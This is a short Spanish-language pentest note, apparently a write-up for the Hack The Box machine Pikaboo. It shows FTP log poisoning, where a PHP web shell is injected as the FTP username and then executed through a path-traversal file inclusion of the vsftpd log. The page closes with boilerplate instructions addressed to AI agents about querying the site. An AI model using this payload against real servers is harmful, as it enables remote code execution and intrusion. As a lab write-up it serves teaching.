# FTP

### FTP log poisoning <a href="#ftp-log-poisoning" id="ftp-log-poisoning"></a>

El archivo a infectar es el siguiente:

```
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log
```

Para ello debemos escribir en el ftp login

```
ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:eduardodesdes): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> ^C
ftp> exit
221 Goodbye.
```

Y luego podemos ejecutar el codigo php

```
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=id
```

Con el output

```
// Some codeSat Nov 13 04:48:47 2021 [pid 27951] FTP command: Client "::ffff:10.10.16.38", "USER uid=33(www-data) gid=33(www-data) groups=33(www-data)"
...
Sat Nov 13 04:48:52 2021 [pid 27951] FTP command: Client "::ffff:10.10.16.38", "QUIT"
Sat Nov 13 04:48:52 2021 [pid 27951] FTP response: Client "::ffff:10.10.16.38", "221 Goodbye
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cs.desdes.xyz/miscelanio/ftp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
